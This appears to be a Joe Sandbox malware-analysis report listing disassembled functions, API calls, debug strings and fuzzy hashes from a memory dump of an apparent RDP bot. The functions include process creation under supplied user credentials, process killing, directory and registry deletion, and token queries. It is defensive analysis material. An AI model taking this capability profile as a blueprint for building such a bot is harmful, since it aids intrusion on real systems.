Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: strlen$strcat$CloseErrorHandleLastLogonUser
String ID: (app != NULL)$(pi != NULL)$(usr == NULL) || (pwd != NULL)$H:/Projects/rdp/bot/codebase/process.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateProcessA failed(cmd=%s,gle=%lu)$[E] (%s) -> CreateProcessAsUserA failed(usr=%s,pwd=%s,cmd=%s,gle=%lu)$[E] (%s) -> Failed(usr=%s,pwd=%s,dir=%s,app=%s,arg=%s,err=%08x)$[E] (%s) -> LogonUserA failed(usr=%s,pwd=%s,cmd=%s,gle=%lu)$[I] (%s) -> CreateProcessA done(cmd=%s,pid=%lu)$[I] (%s) -> CreateProcessAsUserA done(usr=%s,pwd=%s,cmd=%s,pid=%lu)$[I] (%s) -> Done(usr=%s,pwd=%s,dir=%s,app=%s,arg=%s,pid=%lu)$h$process_create
API String ID: 1842180197-931256089
Opcode ID: 9ff7a7d4de6036aab2a8f988d88d184b2291c9b9729713fd49194e1af14634fd
Instruction ID: c2bf1c46c1f901fe62d15cc92d9e90da49245ae6e1dba72526ecf16463b8d203
Opcode Fuzzy Hash: 9ff7a7d4de6036aab2a8f988d88d184b2291c9b9729713fd49194e1af14634fd
Instruction Fuzzy Hash: 75128BA1A0C68390FA708B99E4603B9B390FB457C4F488536DB4E477A4DF7CFA898740

Function 00007FF8BFB55FC9 Relevance: 44.0, APIs: 15, Strings: 10, Instructions: 226stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF8BFB55FEE
RemoveDirectoryA.KERNEL32 ref: 00007FF8BFB56006
GetLastError.KERNEL32 ref: 00007FF8BFB56010

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

strcpy.MSVCRT ref: 00007FF8BFB560DA
strlen.MSVCRT ref: 00007FF8BFB560E2
strlen.MSVCRT ref: 00007FF8BFB560FE
strlen.MSVCRT ref: 00007FF8BFB5610F
strcpy.MSVCRT ref: 00007FF8BFB56129
strlen.MSVCRT ref: 00007FF8BFB56131
strlen.MSVCRT ref: 00007FF8BFB56153
strlen.MSVCRT ref: 00007FF8BFB56167
strcmp.MSVCRT ref: 00007FF8BFB561A9
strcmp.MSVCRT ref: 00007FF8BFB561BC
RemoveDirectoryA.KERNEL32 ref: 00007FF8BFB56265
GetLastError.KERNEL32 ref: 00007FF8BFB56273

Strings

[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x), xrefs: 00007FF8BFB56360
*, xrefs: 00007FF8BFB56114
NULL, xrefs: 00007FF8BFB563AD
[D] (%s) -> Delete(path_wc=%s,f_path=%s), xrefs: 00007FF8BFB561DC
[E] (%s) -> RemoveDirectoryA failed(path=%s,recursive=%d,gle=%lu), xrefs: 00007FF8BFB5602E, 00007FF8BFB56291
[I] (%s) -> Done(path=%s,recursive=%d), xrefs: 00007FF8BFB563C3
(path != NULL), xrefs: 00007FF8BFB5604B
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB56059
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF8BFB56044
fs_dir_delete, xrefs: 00007FF8BFB56027, 00007FF8BFB56052, 00007FF8BFB561D5, 00007FF8BFB5628A, 00007FF8BFB56359, 00007FF8BFB563BC

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: strlen$DirectoryErrorLastRemovestrcmpstrcpy$fflushfwrite
String ID: (path != NULL)$*$H:/Projects/rdp/bot/codebase/fs.c$NULL$[D] (%s) -> Delete(path_wc=%s,f_path=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x)$[E] (%s) -> RemoveDirectoryA failed(path=%s,recursive=%d,gle=%lu)$[I] (%s) -> Done(path=%s,recursive=%d)$fs_dir_delete
API String ID: 2460052984-812936415
Opcode ID: 4a67401f6c1003bd3f7228ea85ce874602a4d826e684d437ded92f11e5711381
Instruction ID: 768311b78771331b5cd556b6fef4d1800ba0ccaf7bbc694e0c7b4801f983f5d8
Opcode Fuzzy Hash: 4a67401f6c1003bd3f7228ea85ce874602a4d826e684d437ded92f11e5711381
Instruction Fuzzy Hash: 01A18F61A1C68295FA609B8DE5643BDB352AF813C4F940036DB4E47A95EE7CF449CB01

Function 00007FF8BFB5B08F Relevance: 42.4, APIs: 11, Strings: 13, Instructions: 418stringCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF8BFB5B189
GetLastError.KERNEL32 ref: 00007FF8BFB5B267
strcmp.MSVCRT ref: 00007FF8BFB5B441
OpenProcess.KERNEL32 ref: 00007FF8BFB5B459
TerminateProcess.KERNEL32 ref: 00007FF8BFB5B473
GetLastError.KERNEL32 ref: 00007FF8BFB5B481
CloseHandle.KERNEL32 ref: 00007FF8BFB5B7EB

Strings

|, xrefs: 00007FF8BFB5B118
NULL, xrefs: 00007FF8BFB5B862, 00007FF8BFB5B86E
process_kill, xrefs: 00007FF8BFB5B12E, 00007FF8BFB5B160, 00007FF8BFB5B194, 00007FF8BFB5B281, 00007FF8BFB5B48C, 00007FF8BFB5B525, 00007FF8BFB5B66C, 00007FF8BFB5B804
[E] (%s) -> Failed(name=%s,pid=%lu,err=%08x), xrefs: 00007FF8BFB5B167
[E] (%s) -> Process32First failed(gle=%lu), xrefs: 00007FF8BFB5B288
[E] (%s) -> TerminateProcess failed(gle=%lu), xrefs: 00007FF8BFB5B493
(name != NULL) || (pid != 0), xrefs: 00007FF8BFB5B127
H:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF8BFB5B120
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB5B135
[I] (%s) -> Done(name=%s,pid=%lu), xrefs: 00007FF8BFB5B80B
[E] (%s) -> Process32Next failed(gle=%lu), xrefs: 00007FF8BFB5B673
[E] (%s) -> CreateToolhelp32Snapshot failed(gle=%lu), xrefs: 00007FF8BFB5B19B
[E] (%s) -> OpenProcess failed(gle=%lu), xrefs: 00007FF8BFB5B52C

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLast$Process$CloseHandleOpenTerminatestrcmp
String ID: (name != NULL) || (pid != 0)$H:/Projects/rdp/bot/codebase/process.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateToolhelp32Snapshot failed(gle=%lu)$[E] (%s) -> Failed(name=%s,pid=%lu,err=%08x)$[E] (%s) -> OpenProcess failed(gle=%lu)$[E] (%s) -> Process32First failed(gle=%lu)$[E] (%s) -> Process32Next failed(gle=%lu)$[E] (%s) -> TerminateProcess failed(gle=%lu)$[I] (%s) -> Done(name=%s,pid=%lu)$process_kill$|
API String ID: 2412365107-3514367195
Opcode ID: 7a145d920d44d550c8e711552fab0ea8ec7e2ebcb057eddcc5ff4a7c0fe10b63
Instruction ID: 47ad04d0e0cf3d71fe9fd5a03962045e62851c3876aca31e7cd588efd021c714
Opcode Fuzzy Hash: 7a145d920d44d550c8e711552fab0ea8ec7e2ebcb057eddcc5ff4a7c0fe10b63
Instruction Fuzzy Hash: 16F11611E0C60792FFB556DCA8E137D63419F197D9F248036DB0E4A6D2EF6EBC859202

Function 00007FF8BFB570A1 Relevance: 36.9, APIs: 5, Strings: 16, Instructions: 199fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FF8BFB570F9
LockFileEx.KERNEL32 ref: 00007FF8BFB57132
GetLastError.KERNEL32 ref: 00007FF8BFB57207
GetLastError.KERNEL32 ref: 00007FF8BFB572EC
CloseHandle.KERNEL32 ref: 00007FF8BFB57460

Strings

NULL, xrefs: 00007FF8BFB5746B
P, xrefs: 00007FF8BFB57291
[E] (%s) -> CreateFileA failed(path=%s,gle=%lu), xrefs: 00007FF8BFB5721C
(lock != NULL), xrefs: 00007FF8BFB571E3
fs_file_lock, xrefs: 00007FF8BFB57186, 00007FF8BFB571BA, 00007FF8BFB571EA, 00007FF8BFB57215, 00007FF8BFB572FA, 00007FF8BFB5747D
(path != NULL), xrefs: 00007FF8BFB571B3
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF8BFB571AC, 00007FF8BFB571DC
[I] (%s) -> Done(path=%s,lock=%p), xrefs: 00007FF8BFB57484
~, xrefs: 00007FF8BFB5736D
~, xrefs: 00007FF8BFB57288
P, xrefs: 00007FF8BFB57376
, xrefs: 00007FF8BFB5730D
, xrefs: 00007FF8BFB57228
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB571C1, 00007FF8BFB571F1
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF8BFB5718D
[E] (%s) -> LockFileEx failed(path=%s,gle=%lu), xrefs: 00007FF8BFB57301

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleLock
String ID: $ $(lock != NULL)$(path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$NULL$P$P$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateFileA failed(path=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> LockFileEx failed(path=%s,gle=%lu)$[I] (%s) -> Done(path=%s,lock=%p)$fs_file_lock$~$~
API String ID: 2747014929-2799703827
Opcode ID: c152d8475cbe2f7e9005828fa1b90468df26195785c27f23354a8c65972831bd
Instruction ID: 1621bc4e419febc4f390324a3364352a2ef103a41d39c411b3597987eec75b3d
Opcode Fuzzy Hash: c152d8475cbe2f7e9005828fa1b90468df26195785c27f23354a8c65972831bd
Instruction Fuzzy Hash: C8813960B0C74F91FA64ABDDE8603B87351AF057E4F241232DB2E066D1EE6DB9859342

Function 00007FF8BFB59BC4 Relevance: 35.2, APIs: 3, Strings: 17, Instructions: 192registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF8BFB59BF9
RegDeleteValueA.ADVAPI32 ref: 00007FF8BFB59CFE
RegCloseKey.ADVAPI32 ref: 00007FF8BFB59E27

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

P, xrefs: 00007FF8BFB59DA9
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB59CDF
P, xrefs: 00007FF8BFB59EAC
[I] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF8BFB59E47
, xrefs: 00007FF8BFB59D41
P, xrefs: 00007FF8BFB59DB2
, xrefs: 00007FF8BFB59D38
[E] (%s) -> RegDeleteValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FF8BFB59D2C
(root != NULL), xrefs: 00007FF8BFB59C61
, xrefs: 00007FF8BFB59C37
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB59C6F, 00007FF8BFB59C9F
, xrefs: 00007FF8BFB59C26
registry_del_value, xrefs: 00007FF8BFB59C13, 00007FF8BFB59C68, 00007FF8BFB59C98, 00007FF8BFB59CD8, 00007FF8BFB59D25, 00007FF8BFB59E40
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF8BFB59C1A
(key != NULL), xrefs: 00007FF8BFB59C91
H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF8BFB59C5A, 00007FF8BFB59C8A
NULL, xrefs: 00007FF8BFB59D58, 00007FF8BFB59F11, 00007FF8BFB59F1D

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: CloseDeleteOpenValuefflushfwrite
String ID: $ $ $ $(key != NULL)$(root != NULL)$H:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$P$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegDeleteValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[I] (%s) -> Done(root=0x%p,key=%s,param=%s)$registry_del_value
API String ID: 3240087161-1648311886
Opcode ID: 16f3fd5775081d4d7eaeecf68b61d1447b8a99dc193d88db3259e2a74f98e674
Instruction ID: 00a02803008ce998781a68a061b071b5f5a8bb39e1575bff3e1280bc8f8de2a4
Opcode Fuzzy Hash: 16f3fd5775081d4d7eaeecf68b61d1447b8a99dc193d88db3259e2a74f98e674
Instruction Fuzzy Hash: F8817E6190C75B91FA74A7CCA9A02B87390AF047C4F441132DB5E46BE5EE6DF989C342

Function 00007FF8BFB5ACC0 Relevance: 33.5, APIs: 11, Strings: 8, Instructions: 207memoryCOMMON

Download Yara Rule

APIs

OpenProcessToken.ADVAPI32 ref: 00007FF8BFB5ACEA
GetTokenInformation.ADVAPI32 ref: 00007FF8BFB5AD20
GetLastError.KERNEL32 ref: 00007FF8BFB5AD2E
LocalFree.KERNEL32 ref: 00007FF8BFB5AD68
CloseHandle.KERNEL32 ref: 00007FF8BFB5AD73
GetLastError.KERNEL32 ref: 00007FF8BFB5AE18
LocalAlloc.KERNEL32 ref: 00007FF8BFB5AED0
GetTokenInformation.ADVAPI32 ref: 00007FF8BFB5AEFE
GetLastError.KERNEL32 ref: 00007FF8BFB5AF0C

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

LocalAlloc.KERNEL32 ref: 00007FF8BFB5AFFA
GetLengthSid.ADVAPI32 ref: 00007FF8BFB5B00C

Strings

(hnd != NULL), xrefs: 00007FF8BFB5AD92
[E] (%s) -> Failed(hnd=0x%p,err=%08x), xrefs: 00007FF8BFB5AE01
[E] (%s) -> OpenProcessToken failed(hnd=0x%p,gle=%lu), xrefs: 00007FF8BFB5AE2D
process_get_user_sid, xrefs: 00007FF8BFB5AD43, 00007FF8BFB5AD99, 00007FF8BFB5ADC9, 00007FF8BFB5ADFA, 00007FF8BFB5AE26, 00007FF8BFB5AF1A
H:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF8BFB5AD8B, 00007FF8BFB5ADBB
[E] (%s) -> GetTokenInformation failed(hnd=0x%p,gle=%lu), xrefs: 00007FF8BFB5AD4A, 00007FF8BFB5AF21
(sid != NULL), xrefs: 00007FF8BFB5ADC2
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB5ADA0, 00007FF8BFB5ADD0

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastLocalToken$AllocInformation$CloseFreeHandleLengthOpenProcessfflushfwrite
String ID: (hnd != NULL)$(sid != NULL)$H:/Projects/rdp/bot/codebase/process.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(hnd=0x%p,err=%08x)$[E] (%s) -> GetTokenInformation failed(hnd=0x%p,gle=%lu)$[E] (%s) -> OpenProcessToken failed(hnd=0x%p,gle=%lu)$process_get_user_sid
API String ID: 1151404744-2809655389
Opcode ID: b5677b69ba870fc38f1c983ff4ac00a339a5f2744ecaf2e767faefe0bc734db1
Instruction ID: c01be474749a4c2518579589d92425f3f1f765d0adea733dd7ba58a569ec049d
Opcode Fuzzy Hash: b5677b69ba870fc38f1c983ff4ac00a339a5f2744ecaf2e767faefe0bc734db1
Instruction Fuzzy Hash: A4915C62B0D64691FB606B9CE4603B9B356AF89BD5F194037DB0E5B6D0DE3CF8868301

Function 00007FF8BFB5C361 Relevance: 28.2, APIs: 7, Strings: 9, Instructions: 187synchronizationCOMMON

Download Yara Rule

APIs

GetExitCodeProcess.KERNEL32 ref: 00007FF8BFB5C37B
WaitForSingleObject.KERNEL32 ref: 00007FF8BFB5C39F
GetExitCodeProcess.KERNEL32 ref: 00007FF8BFB5C3AD
GetLastError.KERNEL32 ref: 00007FF8BFB5C454
TerminateProcess.KERNEL32 ref: 00007FF8BFB5C541
GetLastError.KERNEL32 ref: 00007FF8BFB5C54F
GetLastError.KERNEL32 ref: 00007FF8BFB5C636

Part of subcall function 00007FF8BFB5C305: CloseHandle.KERNEL32 ref: 00007FF8BFB5C31D
Part of subcall function 00007FF8BFB5C305: CloseHandle.KERNEL32 ref: 00007FF8BFB5C323

Strings

[E] (%s) -> Failed(pid=%lu,err=%08x), xrefs: 00007FF8BFB5C43E
[E] (%s) -> GetExitCodeProcess failed(pid=%lugle=%lu), xrefs: 00007FF8BFB5C46A
process_close, xrefs: 00007FF8BFB5C3DD, 00007FF8BFB5C408, 00007FF8BFB5C437, 00007FF8BFB5C463, 00007FF8BFB5C55E, 00007FF8BFB5C643
[W] (%s) -> GetExitCodeProcess failed(pid=%lugle=%lu), xrefs: 00007FF8BFB5C64A
H:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF8BFB5C3FA
[I] (%s) -> Done(pid=%lu,exit_code=%08lx), xrefs: 00007FF8BFB5C3E4
[E] (%s) -> TerminateProcess failed(pid=%lugle=%lu), xrefs: 00007FF8BFB5C565
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB5C40F
(pi != NULL), xrefs: 00007FF8BFB5C401

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastProcess$CloseCodeExitHandle$ObjectSingleTerminateWait
String ID: (pi != NULL)$H:/Projects/rdp/bot/codebase/process.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(pid=%lu,err=%08x)$[E] (%s) -> GetExitCodeProcess failed(pid=%lugle=%lu)$[E] (%s) -> TerminateProcess failed(pid=%lugle=%lu)$[I] (%s) -> Done(pid=%lu,exit_code=%08lx)$[W] (%s) -> GetExitCodeProcess failed(pid=%lugle=%lu)$process_close
API String ID: 1879646588-3634134927
Opcode ID: 8291d4b9401c204577f6d685d04ad4ed4d31b8b9359bcd817a2fc134ff056c08
Instruction ID: ec5f19ebd02eaaf6fb17396f5d9b7c2319018c5e3e591c17350b4d04cdfe0bb6
Opcode Fuzzy Hash: 8291d4b9401c204577f6d685d04ad4ed4d31b8b9359bcd817a2fc134ff056c08
Instruction Fuzzy Hash: 10814FB2E0C11392FB605BECA861AB963929F007DCF161032CF5E57694DE6CBD818782

Function 00007FF8BFB54B69 Relevance: 26.4, APIs: 2, Strings: 13, Instructions: 123COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FF8BFB54B8A
GetLastError.KERNEL32 ref: 00007FF8BFB54C6A

Strings

NULL, xrefs: 00007FF8BFB54D9A
fs_attr_get, xrefs: 00007FF8BFB54BD7, 00007FF8BFB54C0E, 00007FF8BFB54C47, 00007FF8BFB54C78, 00007FF8BFB54DAC
~, xrefs: 00007FF8BFB54CEE
[E] (%s) -> GetFileAttributesA failed(path=%s,gle=%lu), xrefs: 00007FF8BFB54C7F
(path != NULL), xrefs: 00007FF8BFB54C07
, xrefs: 00007FF8BFB54C8B
(attr != NULL), xrefs: 00007FF8BFB54C40
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF8BFB54C00, 00007FF8BFB54C39
P, xrefs: 00007FF8BFB54CF3
[D] (%s) -> Done(path=%s,attr=%08lx), xrefs: 00007FF8BFB54DB3
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB54C15, 00007FF8BFB54C4E
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF8BFB54BDE
c, xrefs: 00007FF8BFB54C31

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: $(attr != NULL)$(path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$NULL$P$[D] (%s) -> Done(path=%s,attr=%08lx)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> GetFileAttributesA failed(path=%s,gle=%lu)$c$fs_attr_get$~
API String ID: 1799206407-2463373822
Opcode ID: 9cbf1e3839263a5b4d41a35af55a09d577e3657ec55f384be017b7f78778957c
Instruction ID: a50bb1392ab85774c954ec4311fd6b4059a5cb4b6204382ec6eb264e270b2535
Opcode Fuzzy Hash: 9cbf1e3839263a5b4d41a35af55a09d577e3657ec55f384be017b7f78778957c
Instruction Fuzzy Hash: 395159A5A0C607D2FA289BCEA8727B873507F447C4F180132CB5E07AD1EE6DB999D301

Function 00007FF8BFB58042 Relevance: 25.7, APIs: 7, Strings: 10, Instructions: 241memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF8BFB5808D
HeapFree.KERNEL32 ref: 00007FF8BFB5809E

Part of subcall function 00007FF8BFB55835: fopen.MSVCRT ref: 00007FF8BFB5587A
Part of subcall function 00007FF8BFB55835: fseek.MSVCRT ref: 00007FF8BFB55899
Part of subcall function 00007FF8BFB55835: _errno.MSVCRT ref: 00007FF8BFB558AD
Part of subcall function 00007FF8BFB55835: _errno.MSVCRT ref: 00007FF8BFB558C8

GetProcessHeap.KERNEL32 ref: 00007FF8BFB581CA
HeapAlloc.KERNEL32 ref: 00007FF8BFB581DB
strncpy.MSVCRT ref: 00007FF8BFB5831C
strncpy.MSVCRT ref: 00007FF8BFB58333
strncpy.MSVCRT ref: 00007FF8BFB58392

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB58112
[I] (%s) -> Done(path=%s), xrefs: 00007FF8BFB583F8
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF8BFB580D6
NULL, xrefs: 00007FF8BFB583E2
ini_load, xrefs: 00007FF8BFB580CF, 00007FF8BFB5810B, 00007FF8BFB583F1
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB580FD
mem_alloc, xrefs: 00007FF8BFB58223
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8BFB5822A
5, xrefs: 00007FF8BFB580F5
(path != NULL), xrefs: 00007FF8BFB58104

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

